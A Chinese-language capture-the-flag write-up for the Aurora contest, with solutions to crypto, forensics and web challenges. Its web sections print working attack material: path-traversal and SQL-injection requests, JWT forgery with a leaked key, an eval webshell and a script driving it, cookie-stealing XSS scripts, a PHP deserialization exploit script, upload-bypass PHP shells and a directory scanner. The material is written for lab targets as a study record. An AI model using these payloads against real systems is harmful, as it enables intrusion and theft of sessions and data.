使用社交账号登录
由附件可以得到RSA的 n c d 值,基于RSA公式,可以直接计算得到结果:
签到题,很简单的啦:
一个标着W的栅栏状的机器 -> 栅栏加密 W型这台机器的预设参数好像是3 -> 栏数 3
使用在线解密网站 https://ctf.bugku.com/tool/railfence 即可。
linux太好用了喵,解压signin.7z,对flag进行cat即可。
2024-0(2|3|4)-,记录下常出现的人名曹.*华的搜索结果最为突出,有10977个结果,远超其他三位数的结果广东省深圳市金湾区长安路60号)、电话(194****1906)company3.csv里存在晨黎科技有限公司,67041891901710413389曹.*华发现还存在于3286.html中,获取到电话19414801906eval,在报错提示里可以看到VM209:3 Uncaught ReferenceError: g0od_Y0u_started_successfu11y is not defined,得g0od_Y0u_started_successfu11ywell_Do_y0u_1ike_coding?Ook!加密,但不知道为什么网站解不开,只能现转Brainfuck再转Ook!了对解开的文件已pdf打开全选复制得flag2,zip打开后对flag1.zip使用ffplay播放视频得密码解开得flag1
后来binwalk又跑了一次:
止于Aurora{ch@ng3_F1l3_5uff1x_
这binwalk根本没扫出html嘛(气
访问靶机,curl http://node.szu.moe:10330/,发现有一个/archives路径。
curl http://node.szu.moe:10330/archives,有一个hint.txt文件。
curl 'http://node.szu.moe:10330/archive/download?name=hint.txt'提示说要获取源码。
此时尝试通过构造name参数获取源码,尝试常见的index.php app.py main.py及包含路径的请求均失败。
再次尝试常见文件,发现robots.txt能够成功获取到,其中指示的路径map里有app.py以及secret。
尝试访问app.py源码,curl 'http://node.szu.moe:10330/archive/download?name=../../app.py'成功。
里面的代码要求访问secret时需要携带jwt验证,于是构造
计算出jwt,接着使用其作为Cookies中的access_token请求secret即可,curl -H "Cookie: access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJleHAiOjE3NjA3MDMyMjF9.OgtQfwFS_OAYLgwrNk5VTbuMlMBd2XZ5RlkPJK1YfT4" http://node.szu.moe:10330/secret。
成功获取Flag。
uv run ./dirsearch.py node.szu.moe:10133/robots.txtUser-agent: *
Disallow: /secret
Disallow: /app.py
/archive/download?name=server: Werkzeug/3.1.3 Python/3.9.23可知是python服务uv run ./dirsearch.py 'node.szu.moe:10133/archive/download?name=' --relative相对路径(app.py等文件)/archive/download?name=../../app.py/secret第一次被题目里的假hint骗了,搞得比Middle花的时间还久。
test_secret_keyX-Forwarded-For头请求,报出需要从/internal/dashboard请求Referer头来伪造来源,提示需要正确签名MD5(secret_key + current_hour + "/flag")secret_key为上方获取到的,current_hour尝试unix时间戳,同时添加相同的X-Request-Time保证可靠性。{"flag":"Aurora{0c328814-5ab7-497d-8d1c-f5bbd175cbf6}"}shell.php的链接。password的验证方法。80e0b2a2c1a1d6d47f9a9ff573c08c42,可以找到其原文是hikari。password=hikari即可完成密码验证。http://node.szu.moe:10358/flag:访问靶机 curl http://node.szu.moe:10412/artwork.php?id=1,获得一个艺术品展示页面。
尝试注入 id=1',发现触发SQL错误,确认存在SQL注入漏洞。
使用ORDER BY检测列数:
id=1 ORDER BY 3 okid=1 ORDER BY 4 不行验证UNION SELECT:id=999 UNION SELECT 'a','b','c' 成功,响应中发现三列数据的位置:
提取数据库信息,id=999 UNION SELECT 'a','b',database(),得avant_garde_db,再id=999 UNION SELECT 'a','b',GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE(),发现存在两个表:artworks 和 secret。
提取col id=999 UNION SELECT 'a','b',GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema=DATABASE()
最终payload获取flag:
id=999 UNION SELECT flag,1,1 FROM secret
成功获取Flag:Aurora{2fae5517-1f08-425b-8550-fae4e60d7110}
发布一条含<script>标签的来源留言,该app未正常解析转义,访问者都会执行该脚本。于是可以构造一个自动获取Cookies等信息的js,并利用召唤管理员功能使管理员自己发布一个包含刚才获取的信息的留言。
发送脚本后呼叫管理员查看即可。
当然如果想以出网的方式,貌似该环境下只能在内网搭webhook之类的服务了。
修改以下fetch部分或直接复刻一个路径遍历。
上来就是依托没fmt的class,还tm的是php,直接格式化:
显然这是一个php格式化漏洞,需要构造一个pop链(可以利用的有 __construct __toString __destruct __invoke __wakeup),使输入的payload在执行unserialize()方法后php解析payload,然后在返回内容时会自动执行魔术方法(返回给客户端会执行toString,于是就有机会调用注入的的文件路径)。
而显然,我们可以最终目标是通过__toString来获取文件内容。
测试调用的回调函数,print_r 和 var_export 只输出对象结构,不会触发 __toString();printf 成功触发。
让AI写的python构建pop脚本:
批量尝试读取文件后发现flag在/flag下。
php这么多bug,到底是谁还在写php啊(
没用的hint之搜oldphp就知道是php5.2。
其实就是一个简单的利用上传php文件并执行获取的题目,只不过这里需要利用以下空字节注入来绕过.txt扩展名检测。
.txtenv/flag是一个目录,下面有一个lookme.txt,flag就在里面。CSP了个寂寞。
显然,这里有个上传头像的地方,我们直接试着上传一个非图像类型的文件,发现可以直接上传。
我们再上传一个图片,然后成功显示了出来,并发现上传的文件是直接保存在/uploads/文件名的。
这样,基于上一个easy的xss题目的经验,我们只需要上传一个可以获取来访者cookies并发送一个新的留言的js文件即可(原理同上一个xss题)。
而经测试,留言处csp策略仅会阻止直接执行script以及跨域脚本,但本网页的脚本应当是不受影响的,所以只需插入一个这样的<script src='/uploads/xsscsp.js'></script>脚本即可。
编写脚本时的发送请求api可以通过浏览器devtools的调试功能抓到。
其实和上面那道XSS的题目一样,还可以利用管理员的权限fetch各种api。
非常好题目,直接给了源码,可以本地跑完测试直接提交
这里可以看出是要利用python的字符串格式化漏洞,flask处理router错误会对路径的error显示string,导致py关键字被解析。
{m.__init__.__globals__}转化为访问全局命名空间/任意路径{m.__init__.__globals__}n = 7684665226198080484780376255206476956067002042347739747909501461968399886736606064460522242826074828207453255220208628948648123334322583644727381160167097
c = 5297812983728941037698942226201833875958973993272792457439467115944232928076946258968814934410411488628390145466660602710072553696202574384932673428071910
d = 4353631310305759041753674870371870590686356086337934740682849074285132358738374121751675756997155371972961633095044498476551028059053175538116618027664965
m = pow(c, d, n)
flag_bytes = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')
print(flag_bytes.decode('utf-8', errors='ignore'))
cat ./flag
---------------------------------------------------------------------------------
DECIMAL HEXADECIMAL DESCRIPTION
---------------------------------------------------------------------------------
66378 0x1034A PNG image,
total
size:
882145
bytes
5648518 0x563086 PDF
document,
version
1.7
5671494 0x568A46 ZIP
archive,
file
count: 1,
total
size: 303
bytes
---------------------------------------------------------------------------------
import jwt
import datetime
SECRET_KEY = 'aurora_2025_admin'
TOKEN_EXPIRATION = 3600
payload = {
'user': 'admin',
'exp': datetime.datetime.utcnow() + datetime.timedelta(seconds=TOKEN_EXPIRATION)
}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
print(token)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin
import time
# 常见路径列表
COMMON_PATHS = [
# 管理后台
"/admin",
"/admin/",
"/administrator",
"/dashboard",
"/panel",
"/manage",
"/management",
# 登录相关
"/login",
"/login.php",
"/signin",
"/auth",
"/user/login",
# API 端点
"/api",
"/api/",
"/api/v1",
"/api/v2",
"/rest",
"/service",
# 常见文件
"/robots.txt",
"/sitemap.xml",
"/favicon.ico",
"/.htaccess",
"/web.config",
# 配置和备份
"/config",
"/config.php",
"/configuration",
"/backup",
"/backup.zip",
"/database",
"/.env",
"/.env.local",
"/config.json",
# Git 和版本控制
"/.git",
"/.gitignore",
"/.gitlab-ci.yml",
"/.github",
# 上传目录
"/upload",
"/uploads",
"/files",
"/download",
"/downloads",
# 常见目录
"/static",
"/assets",
"/css",
"/js",
"/images",
"/img",
"/media",
"/public",
"/src",
"/app",
"/lib",
# 测试相关
"/test",
"/tests",
"/testing",
"/debug",
# 文档
"/docs",
"/documentation",
"/readme",
"/readme.md",
# 其他常见
"/search",
"/user",
"/users",
"/profile",
"/settings",
"/about",
"/contact",
"/help",
"/faq",
# CTF 相关路径 - Python 应用
"/app.py",
"/main.py",
"/index.py",
"/server.py",
"/flask_app.py",
"/wsgi.py",
"/run.py",
"/start.py",
"/application.py",
"/manage.py",
# CTF 相关路径 - PHP 应用
"/index.php",
"/main.php",
"/home.php",
"/dashboard.php",
"/admin.php",
"/shell.php",
"/cmd.php",
"/exec.php",
"/system.php",
"/upload.php",
# CTF 相关路径 - ASP/ASP.NET
"/index.asp",
"/default.asp",
"/index.aspx",
"/default.aspx",
"/admin.aspx",
"/shell.aspx",
# CTF 相关路径 - 源代码
"/source",
"/source.php",
"/source.py",
"/app_source",
"/code",
"/src.zip",
"/download.php",
# CTF 相关路径 - Flag/Secret
"/flag",
"/flag.txt",
"/flag.php",
"/secret",
"/secret.txt",
"/secret.php",
"/hint",
"/hint.txt",
# CTF 相关路径 - 常见 CMS
"/wp-admin",
"/wp-login.php",
"/wp-content",
"/wp-includes",
"/administrator",
# CTF 相关路径 - Backup/Archive
"/.bak",
"/.backup",
"/index.php.bak",
"/index.php.old",
"/index.php~",
"/app.py.bak",
"/app.py.old",
"/.git.zip",
# CTF 相关路径 - Database
"/database.php",
"/db.php",
"/sql",
"/database.sql",
"/dump.sql",
# CTF 相关路径 - 脚本/工具
"/tool",
"/tools",
"/script",
"/scripts",
"/exploit.py",
"/payload.php",
# CTF 相关路径 - 信息泄露
"/info.php",
"/phpinfo.php",
"/status",
"/status.php",
"/version",
"/version.txt",
"/about.php",
]
def generate_relative_paths(max_depth=5):
"""
生成相对路径列表 (如 ../, ../../ 等)
参数:
max_depth: 最大回溯深度
"""
relative_paths = []
for depth in range(1, max_depth + 1):
prefix = "../" * depth
relative_paths.append(prefix)
return relative_paths
def scan_path(url, path, base_path="", timeout=5, verbose=False):
"""
扫描单个路径
参数:
url: 目标 URL (基础 URL)
path: 要扫描的相对路径
base_path: 基础相对路径 (如 /admin, /api/v1 等)
timeout: 请求超时时间
verbose: 是否打印每个请求 URL
"""
# 构建完整路径
if base_path:
# 确保 base_path 以 / 开头,路径末尾不以 / 结尾
base_path = base_path.rstrip("/") if base_path != "/" else "/"
if not path.startswith("/"):
full_path = base_path + "/" + path
else:
full_path = base_path + path
else:
full_path = path
# 构建完整 URL
target_url = url.rstrip("/") + full_path
if verbose:
print(f"[*] 扫描: {target_url}")
try:
response = requests.get(target_url, timeout=timeout, allow_redirects=False)
# 返回状态码在 200-299 范围内的路径
if 200 <= response.status_code < 300:
return {
"path": full_path,
"url": target_url,
"status": response.status_code,
"found": True,
}
# 返回其他有意义的状态码
elif response.status_code in [301, 302, 401, 403, 500]:
return {
"path": full_path,
"url": target_url,
"status": response.status_code,
"found": False,
}
except requests.exceptions.RequestException as e:
pass
return None
def dirsearch(url, base_path="", threads=10, scan_relative=False, relative_depth=5):
"""
主扫描函数
参数:
url: 目标 URL
base_path: 基础路径 (如 /admin, /api/v1),支持相对目录扫描
threads: 线程数
scan_relative: 是否扫描相对路径 (如 ../, ../../ 等)
relative_depth: 相对路径的最大深度
"""
# 确保 URL 以 http:// 或 https:// 开头
if not url.startswith(("http://", "https://")):
url = "http://" + url
# 规范化 base_path
if base_path:
base_path = base_path.rstrip("/") if base_path != "/" else "/"
display_url = url.rstrip("/") + base_path
else:
display_url = url
# 生成扫描路径列表
scan_paths = list(COMMON_PATHS)
# 如果启用相对路径扫描,添加相对路径变体
if scan_relative:
relative_paths = generate_relative_paths(relative_depth)
# 为每个常见路径添加相对路径前缀
for rel_prefix in relative_paths:
for path in COMMON_PATHS:
# 去掉路径开头的 /
clean_path = path.lstrip("/")
scan_paths.append(rel_prefix + clean_path)
print(f"[*] 开始扫描: {display_url}")
if base_path:
print(f"[*] 基础路径: {base_path}")
if scan_relative:
print(f"[*] 启用相对路径扫描 (深度: {relative_depth})")
print(f"[*] 线程数: {threads}")
print(f"[*] 路径数: {len(scan_paths)}")
print("[*] " + "=" * 50)
found_paths = []
start_time = time.time()
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {
executor.submit(scan_path, url, path, base_path): path
for path in scan_paths
}
completed = 0
for future in as_completed(futures):
completed += 1
result = future.result()
if result and result["found"]:
found_paths.append(result)
print(f"[+] {result['status']} - {result['url']}")
# 显示进度
if completed % 50 == 0:
print(f"[*] 进度: {completed}/{len(scan_paths)}")
elapsed_time = time.time() - start_time
print("[*] " + "=" * 50)
print(f"[+] 扫描完成!")
print(f"[+] 耗时: {elapsed_time:.2f} 秒")
print(f"[+] 找到 {len(found_paths)} 个有效路径")
if found_paths:
print("\n[+] 有效路径列表:")
for result in found_paths:
print(f" {result['status']} - {result['url']}")
def main():
if len(sys.argv) < 2:
print("使用方法:")
print(
" python dirsearch.py <url> [base_path] [threads] [--relative] [--depth N]"
)
print("")
print("参数说明:")
print(" <url> - 目标 URL")
print(" [base_path] - 基础路径,如 /admin, /api/v1 等 (默认: '')")
print(" [threads] - 线程数 (默认: 10)")
print(" --relative - 启用相对路径扫描,如 ../, ../../ 等")
print(
" --depth N - 相对路径的最大深度 (默认: 5,需要配合 --relative 使用)"
)
print("")
print("示例:")
print(" python dirsearch.py https://example.com")
print(" python dirsearch.py https://example.com /admin")
print(" python dirsearch.py https://example.com /admin 20")
print(" python dirsearch.py https://example.com /upload --relative")
print(" python dirsearch.py https://example.com /upload --relative --depth 3")
print(" python dirsearch.py https://example.com '' 20 --relative --depth 7")
sys.exit(1)
url = sys.argv[1]
base_path = ""
threads = 10
scan_relative = False
relative_depth = 5
# 解析可选参数
i = 2
while i < len(sys.argv):
arg = sys.argv[i]
if arg == "--relative":
scan_relative = True
i += 1
elif arg == "--depth":
if i + 1 < len(sys.argv):
try:
relative_depth = int(sys.argv[i + 1])
i += 2
except ValueError:
print(f"[!] 错误: --depth 参数必须是整数")
sys.exit(1)
else:
print(f"[!] 错误: --depth 参数需要指定一个数值")
sys.exit(1)
elif arg.startswith("--"):
print(f"[!] 未知参数: {arg}")
sys.exit(1)
elif arg.isdigit():
# 线程数
threads = int(arg)
i += 1
else:
# 基础路径
if not base_path:
base_path = arg
i += 1
else:
print(f"[!] 未知参数: {arg}")
sys.exit(1)
try:
dirsearch(url, base_path, threads, scan_relative, relative_depth)
except KeyboardInterrupt:
print("\n[!] 扫描被中断")
sys.exit(0)
except Exception as e:
print(f"[!] 错误: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
<?php
highlight_file(__FILE__);
// 一个简单的php小马
$pass = $_GET['password'];
if(md5($pass) == '80e0b2a2c1a1d6d47f9a9ff573c08c42'){
echo "password correct!";
eval($_POST[1]);
}else{
echo "error!";
}
?>
import requests
url = "http://node.szu.moe:10358/shell.php?password=hikari"
data = {"1": "system('ls -la');"}
response = requests.post(url, data=data)
print(response.text)
import requests
BASE_URL = "http://node.szu.moe:10358"
paths = ["/flag", "/flag.txt", "/flag.php", "flag", "flag.txt"]
for path in paths:
url = f"{BASE_URL}{path}"
response = requests.get(url)
if response.status_code == 200:
print(f"[200] {path}: {response.text}")
<h1>有没有被骗到?</h1>
这是你的flag: Aurora{weIcOM3_t0_AUr0r4_786cccf7332c}
。玩得开心!
<h1>⚙️ a</h1>
<h2>艺术家: b</h2>
<p>c</p>
curl 'http://node.szu.moe:10412/artwork.php?id=999%20UNION%20SELECT%20flag,1,1%20FROM%20secret'
<script>
function postData(content) {
var form = document.createElement("form");
form.method = "POST";
form.action = "/post/new";
var textarea = document.createElement("textarea");
textarea.name = "content";
textarea.value = content;
form.appendChild(textarea);
document.body.appendChild(form);
form.submit();
}
var info = "Cookie: " + document.cookie + "\n" + "LocalStorage: " + JSON.stringify(localStorage) + "\n";
postData(info);
</script>
fetch("/flag").then(r=>r.text()).then(flagData=>{
info += "FLAG endpoint: " + flagData + "\n";
postData(info);
}).catch(e=>{
postData(info);
});
class SecretMessage {
protected $content;
public $filename;
public function __construct($filename) {
$this->filename = $filename;
}
public function __toString() {
if (file_exists($this->filename)) {
return file_get_contents($this->filename);
}
return "秘密文件已被黄四郎转移!";
}
}
class MessageDecoder {
private $decoder;
public $message;
public function __construct($message) {
$this->message = $message;
}
public function __destruct() {
$this->decoder->process($this->message);
}
}
class DecoderHandler {
public $callback;
public function process($data) {
call_user_func($this->callback, $data);
}
}
class OutputSystem {
public $output;
public $format;
public function __invoke($data) {
$this->output = $this->format->render($data);
echo $this->output;
}
}
class FormatRenderer {
public $template;
public function render($content) {
return sprintf($this->template, $content);
}
}
class SystemTrigger {
public $payload;
public function __wakeup() {
$this->payload->execute();
}
}
class PayloadExecutor {
public $command;
public function execute() {
$this->command->run();
}
}
class CommandRunner {
public $cmd;
public function run() {
($this->cmd)();
}
}
if (isset($_GET['payload'])) {
$payload = base64_decode($_GET['payload']);
unserialize($payload);
exit;
}
#!/usr/bin/env python3
import base64
import requests
import urllib.parse
def create_exploit_payload(filepath="/flag"):
# SecretMessage 对象
secret_message = (
'O:13:"SecretMessage":2:{'
's:10:"\x00*\x00content";'
's:0:"";'
's:8:"filename";'
f's:{len(filepath)}:"{filepath}";'
'}'
)
# DecoderHandler 对象
decoder_handler = (
'O:14:"DecoderHandler":1:{'
's:8:"callback";'
's:6:"printf";'
'}'
)
# MessageDecoder 对象
payload = (
'O:14:"MessageDecoder":2:{'
's:23:"\x00MessageDecoder\x00decoder";'
f'{decoder_handler}'
's:7:"message";'
f'{secret_message}'
'}'
)
return payload
def exploit():
target = "http://node.szu.moe:10756"
payload = create_exploit_payload("/flag")
encoded = base64.b64encode(payload.encode('latin1')).decode()
url = f"{target}/?payload={urllib.parse.quote(encoded)}"
print(f"[*] 发送请求: {url}")
resp = requests.get(url)
print(f"[+] 状态码: {resp.status_code}")
print(f"[+] 响应内容: {resp.text}")
if __name__ == "__main__":
exploit()
<?php
$env = getenv();
foreach ($env as $key => $value) {
echo "$key: $value<br>";
}
?>
<?php
echo getcwd();
$files = scandir('.');
foreach ($files as $file) {
echo "$file<br>";
}
@$root_files = scandir('/');
if ($root_files) {
foreach ($root_files as $file) {
echo "$file<br>";
}
}
$flag_dir = "/flag";
echo @file_get_contents($flag_dir);
if (is_dir($flag_dir)) {
$files = scandir($flag_dir);
foreach ($files as $file) {
echo "$file<br>";
if ($file != "." && $file != "..") {
$filepath = "$flag_dir/$file";
if (is_file($filepath)) {
echo "$file:<br>";
$content = @file_get_contents($filepath);
if ($content !== false) {
echo htmlspecialchars($content) . "<br>";
}
}
}
}
}
?>
function extractAndPostFlag() {
let content = "Cookie: " + document.cookie + "\n" + "LocalStorage: " + JSON.stringify(localStorage) + "\n";
postToBoard(content);
}
function postToBoard(message) {
const form = new FormData();
form.append('content', message);
fetch('/post/new', {
method: 'POST',
body: form
})
.then(r => r.text())
}
extractAndPostFlag();